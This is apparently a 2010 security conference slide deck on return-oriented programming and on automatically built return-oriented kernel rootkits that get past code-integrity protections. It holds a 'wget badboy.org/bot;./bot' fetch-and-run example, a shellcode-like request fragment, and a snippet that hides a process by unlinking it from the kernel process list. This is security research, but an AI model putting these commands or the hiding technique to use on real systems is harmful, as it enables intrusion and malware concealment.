Return-Oriented Rootkits

Ralf Hund
Troopers
March 10, 2010
What is Return-Oriented Programming?

- New emerging attack technique, pretty hyped topic
- Gained awareness in 2007 in Hovav Shacham’s paper
  *The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls*

- Basic challenge:
  How to write programs *without own code*?
Short History on Software Vulnerabilities

• The king of software vulnerabilities: **Buffer Overflow**
  
• **Idea:** Abuse **missing** data bounds **checks** in programs to **overrun** a local buffer, hence **inject** and **execute** your own **code**
  
• Security specialists‘ worst **nightmare**
  
• Very **wide spread** due to wide use of non type-safe programming languages (C)
  
• **Blaster, Sasser** & many more relied on it
Buffer Overflow

GET /content\xeb\x6a\x5e\x31… HTTP/1.1

Bad boy

Web server
Countermeasures?

- Buffer overflows are **programming errors**
  - **Educate** programmers!
  - Warn when they use possibly **unsafe** functions
- Probably bad idea…

- Why rely on **humans** when we can find **technical** solutions!
- Heap/Stack-Cookie protections, control flow integrity checks, etc.
- Promising **approach**: Mark certain memory regions **non-executable**
Non-Executable Memory

• Why is the CPU allowed to execute from memory regions that cannot possibly be meant to contain code?
  – Mark the data regions as non-executable

• Silly problem: Traditionally impossible on Intel to mark memory as readable but not executable
• Not until Intel/AMD introduced the $XD/NX$-Bit (execute-disable/non-executable bit)
• Often called $W \text{ xor } X$
Non-Executable Memory

• Attackers can still inject code into memory
• When code is about to get executed for the first time, CPU throws an exception
• Still not perfect, but at least we won’t get owned

• Promising approach
• Implemented by Microsoft as Data Execution Prevention (DEP)
  – Introduced in Windows XP SP2 (Opt-In)
  – Opt-Out since Windows Vista x64
• Linux, BSD, MacOS, etc. use similar techniques
Problem Solved?

- Of course not…
- Take exploits to the \textbf{next} level
- Instead of injecting \textbf{own} code, why not abuse \textbf{existing} code?

- Memory is full of useful functions attackers might misuse
- \textbf{Example}: C standard function \texttt{system()}
- \textbf{Idea}: Only provide the parameters
  - „\texttt{wget badboy.org/bot;./bot}“
- Parameters are \textbf{not} code, not triggered by NX-bit protection
- \texttt{W xor X useless}
- This type of attack is called \textit{return-to-libc}
From return-to-libc to ROP

- **RTL**: We can execute *arbitrary* existing *functions* in memory

- From functions to *instruction sequences*
- Can we even execute arbitrary *computations*?
  - Yes, we can!
  - This is what ROP is all about

- Only *requirement*: need to *control* the *stack*
- *Useful instruction sequences*: Instruction sequences ending in a *return*
  - `add eax, ecx; ret`
  - `mov edx, [esi]; mul edx; ret`
How it actually works (x86)

- **Instruction pointer** (eip) points to current instruction in memory
- Increases automatically while code gets executed

```
eip →  400000  mov eax, dword_4030A9
       400005  mov ecx, 4D2h
       40000A  cdq
       40000B  div ecx
       40000D  mov esi, eax
```
Return-Oriented Programming

![Diagram of return-oriented programming with gadgets and buffer overflow]

- **eip** → **prolog**
  - **buffer overflow**
  - **epilog**
  - ret

- **esp** → stack
  - ... ret. addr. (A)
  - ret. addr. (B)
  - ret. addr. (C)
  - ...

- **A**
  - instruction a
  - ret

- **B**
  - instruction b
  - ret

- **C**
  - instruction c
  - ret

- **gadget 1**
- **gadget 2**
Summary

- Controlling the **stack** is sufficient to perform arbitrary control-flow modifications
- **Idea**: find enough *useful instruction sequences* to allow for arbitrary computations
Related Work

- Early work manually scanned existing libraries for useful instruction sequences
- Result: Code of libc is sufficient to allow for arbitrary computations

- **Gadget**
  - Return-Oriented piece of code that performs specific task
  - **Add** two variables
  - **Modify** stack pointer (return-oriented jump)
Overview

- Return-Oriented Programming
- Kernel Land Protections
- Automating Return-Oriented Programming
- Statistics
- Rootkit Example
- Conclusion
Motivation (1)

• Operating systems separate system into **user land** and **kernel land**
• Kernel and driver components run with **elevated** privileges

• **Compromising** of such a component: 😞
• How to **protect** these critical components?
• **Prevention** approach
Motivation (2)

- Traditional approach followed by NICKLE and SecVisor

- **Lifetime** kernel code integrity (**instruction** level)
  - No *overwriting* of existing code
  - No *injection* of new code

- **Attacker model**
  - May own *everything* in user land (admin/root privileges)
  - **Vulnerabilities** in kernel components are *allowed*
NICKLE

(a) Kernel code authorization and copying

(b) Guest physical address redirection
Attack

• To summarize: we cannot inject and execute one single own instruction in the system

• Perfect target for return-oriented programming

• Goal: write a return-oriented rootkit!
The Beginning

• Ok let’s start **creating** a return-oriented rootkit …

• **First** intuition:
  – Fire up your favorite **disassembler** and **manually scan** existing code for certain instruction sequences
  – **Chain** them together to form a (complex) rootkit

• Good luck…
Overview

- Return-Oriented Programming
- Kernel Land Protections
- **Automating Return-Oriented Programming**
- Statistics
- Rootkit Example
- Conclusion
Framework

• Problems we face:
  – *Varying environments*: different codebase (driver & OS versions, etc.)
  – There is no return-oriented *compiler*
• Facilitate development of complex return-oriented code
• Three core components:
  1. Constructor
  2. Compiler
  3. Loader
• Currently supports 32bit Windows operating systems running IA-32
Framework Overview

Constructor

Useful Instruction Sequences

Gadgets

Source Code

Compiler

Return-Oriented Program

Loader

Exploit

Codebase (PE Files)
Gadget Example (AND)

Codebase

AND Gadget
Compiler

- Entirely self-crafted programming language
  - Syntax similar to C
  - All standard logical, arithmetic, and bitwise operations
  - Conditions/looping with arbitrary nesting and subroutines
  - Support for integers, char arrays, and structures (variable containers)
  - ...

```python
import("msvcrt.dll", printf:cdecl);

def function start() {
    printf("Hello World!\n");
    int i = 1;
    int j = 2;
    printf("1 + 2 * 3 = %u\n", i + j * 3);
}
```
function quicksort(int left, int right) {
    if((left < right) & (right < 0x80000000)) {
        int pivot_index = left;
        pivot_index = partition(left, right, pivot_index);
        quicksort(left, pivot_index - 1);
        quicksort(pivot_index + 1, right);
    }
}

function start() {
    printf("Welcome to return-oriented QuickSort\n");
data = malloc(4 * size);
printf("Allocated buffer with %u elements at %08X\n", size, data);

srand(GetTickCount());
int i = 0;
while(i < size) {
    p = data + 4 * i; *p = rand();
i = i + 1;
}
printf("Randomization completed, starting sort process\n");

int sizeminusone = size - 1;
int time_start = GetTickCount();
quicksort(0, sizeminusone);
int time_end = GetTickCount();
printf("Sorting completed in %u ms:\n", time_end - time_start);

system("pause");
TerminateProcess(GetCurrentProcess(), 0);
}
Loader

- Retrieves base addresses of the kernel and all loaded kernel modules (EnumDeviceDrivers)
- Resolves **relative** to **absolute** addresses
- Implemented as library
Overview

- Return-Oriented Programming
- Kernel Land Protections
- Automating Return-Oriented Programming
- Statistics
- Rootkit Example
- Conclusion
Useful Instructions / Gadget Construction

- Tested Constructor on 10 different machines running different Windows versions (2003 Server, XP, and Vista)
- Full codebase and kernel + Win32 subsystem only (res.)
- Codebase `always sufficient` to construct all necessary gadgets

<table>
<thead>
<tr>
<th>Machine configuration</th>
<th># ret instr.</th>
<th># ret instr. (res)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Native / XP SP2</td>
<td>118,154</td>
<td>22,398</td>
</tr>
<tr>
<td>Native / XP SP3</td>
<td>95,809</td>
<td>22,076</td>
</tr>
<tr>
<td>VMware / XP SP3</td>
<td>58,933</td>
<td>22,076</td>
</tr>
<tr>
<td>VMware / 2003 Server SP2</td>
<td>61,080</td>
<td>23,181</td>
</tr>
<tr>
<td>Native / Vista SP1</td>
<td>181,138</td>
<td>30,922</td>
</tr>
<tr>
<td>Bootcamp / Vista SP1</td>
<td>177,778</td>
<td>30,922</td>
</tr>
</tbody>
</table>
Runtime Overhead

- Implementation of two identical quicksort programs
- Return-oriented vs. C (no optimizations)
- Sort 500,000 random integers
- Average slowdown by factor of ~135
Overview

- Return-Oriented Programming
- Kernel Land Protections
- Automating Return-Oriented Programming
- Statistics
- Rootkit Example
- Conclusion
Rootkit Implementation (1)

- **Experimental Setup**
  - Windows XP / Server 2003
  - Custom vulnerable kernel driver (**buffer overflow**)
  - Exploit vulnerability from userspace program

- Traverses **process list** and **removes** specific process
- 6KB in **size**
Rootkit Implementation (2)

```c
// find location of the process name field within EPROCESS
struct EPROCESS *CurrentProcess = PsGetCurrentProcess();

// find process to be hidden
int ProcessName;
int ListStart = &CurrentProcess->process_list.Flink;
int ListCurrent = *ListStart;
while(ListCurrent != ListStart) {
    struct EPROCESS *NextProcess = ListCurrent - ListStartOffset;
    if(RtlCompareMemory(NextProcess->ImageName, "Ghost.exe", 9) == 9) { break; }
    ListCurrent = *ListCurrent;
}

GhostProcess->process_list.Blink->Flink = GhostProcess->process_list.Flink;
GhostProcess->process_list.Flink->Blink = GhostProcess->process_list.Blink;
```
Command Prompt - Exploit.exe

C:\Rootkit>Exploit.exe
  > vulnerable kernel driver exploit v1.0
  > loading rootkit code
  > loading code <base = 00F30000, size = 00005F5C, pages = 6>
  > loading rootkit loader code
  > loading code <base = 00F87580, size = 00001000, pages = 1>
  > exploit will be executed from 00100054
  > creating relative vector area <base = 00185108>
  > creating file handle from '\\Vulnerable'
  > generating exploit code, buffer address = 0012F84C
  > VirtualLock(00100000, 00001000) returned 1
  > executing exploit
  > cleaning up
Press any key to continue . . .

Windows Task Manager

<table>
<thead>
<tr>
<th>Image Name</th>
<th>User Name</th>
<th>CPU</th>
<th>Mem Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>alg.exe</td>
<td>LOCAL SERVICE</td>
<td>00</td>
<td>3,512 K</td>
</tr>
<tr>
<td>cmd.exe</td>
<td>Johnny</td>
<td>00</td>
<td>2,352 K</td>
</tr>
<tr>
<td>cmd.exe</td>
<td>Johnny</td>
<td>00</td>
<td>2,768 K</td>
</tr>
<tr>
<td>csrss.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,036 K</td>
</tr>
<tr>
<td>ctfmon.exe</td>
<td>Johnny</td>
<td>00</td>
<td>3,676 K</td>
</tr>
<tr>
<td>Exploit.exe</td>
<td>Johnny</td>
<td>00</td>
<td>1,244 K</td>
</tr>
<tr>
<td>explorer.exe</td>
<td>Johnny</td>
<td>00</td>
<td>24,656 K</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>1,292 K</td>
</tr>
<tr>
<td>services.exe</td>
<td>Johnny</td>
<td>00</td>
<td>3,284 K</td>
</tr>
<tr>
<td>smss.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>388 K</td>
</tr>
<tr>
<td>spoolsv.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>5,424 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,816 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>NETWORK SERVICE</td>
<td>00</td>
<td>4,144 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>19,988 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>NETWORK SERVICE</td>
<td>00</td>
<td>3,396 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>LOCAL SERVICE</td>
<td>00</td>
<td>4,468 K</td>
</tr>
<tr>
<td>System</td>
<td>SYSTEM</td>
<td>00</td>
<td>236 K</td>
</tr>
<tr>
<td>System Idle Process</td>
<td>SYSTEM</td>
<td>99</td>
<td>28 K</td>
</tr>
<tr>
<td>taskmgr.exe</td>
<td>Johnny</td>
<td>00</td>
<td>2,924 K</td>
</tr>
<tr>
<td>TSWCache.exe</td>
<td>Johnny</td>
<td>00</td>
<td>4,552 K</td>
</tr>
<tr>
<td>vmactlp.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>2,541 K</td>
</tr>
<tr>
<td>VMwareService.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>4,316 K</td>
</tr>
<tr>
<td>VMwareTray.exe</td>
<td>Johnny</td>
<td>00</td>
<td>3,408 K</td>
</tr>
<tr>
<td>VMwareUser.exe</td>
<td>Johnny</td>
<td>00</td>
<td>6,428 K</td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>SYSTEM</td>
<td>00</td>
<td>1,868 K</td>
</tr>
</tbody>
</table>

Processes: 25
CPU Usage: 0%
Commit Charge: 99492K / 63144K

End Process
2nd Rootkit

- Allows *hiding* of arbitrary *network socket* connections
- **Hooks** into `tcpip.sys` *control flow*
- **Concurrency** is the natural *enemy* of return-oriented programming
  - Overcome *synchronization* issues
Solution?

- **ROP-Killer**: *Address Space Layout Randomization*

- Need to **know addresses** to instruction sequences **beforehand**
- EnumDeviceDrivers is our friend
- **Sound** implementation -> ROP nearly **impossible**
Conclusion

• Return-oriented programming not just a theoretic issue
• **Automated** gadget construction
• Problem is **malicious computation**, not malicious code
Questions?

Thank you for your attention
References

• [RAID08] Riley et al.: Guest- transparent Prevention of Kernel Rootkits with VMM- based Memory Shadowing
• [ACM07] Seshadri et al.: A Tiny Hypervisor to Provide Lifetime Kernel Code Integrity for Commodity OSes
• [CCS07] Shacham: The Geometry of Innocent Flesh on the Bone: Return- into- libc without Function Calls
• [CCS08] Buchanan et al.: When Good Instructions Go Bad: Generalizing Return- Oriented Programming to RISC
• [BUHO] Butler and Hoglund: Rootkits: Subverting the Windows Kernel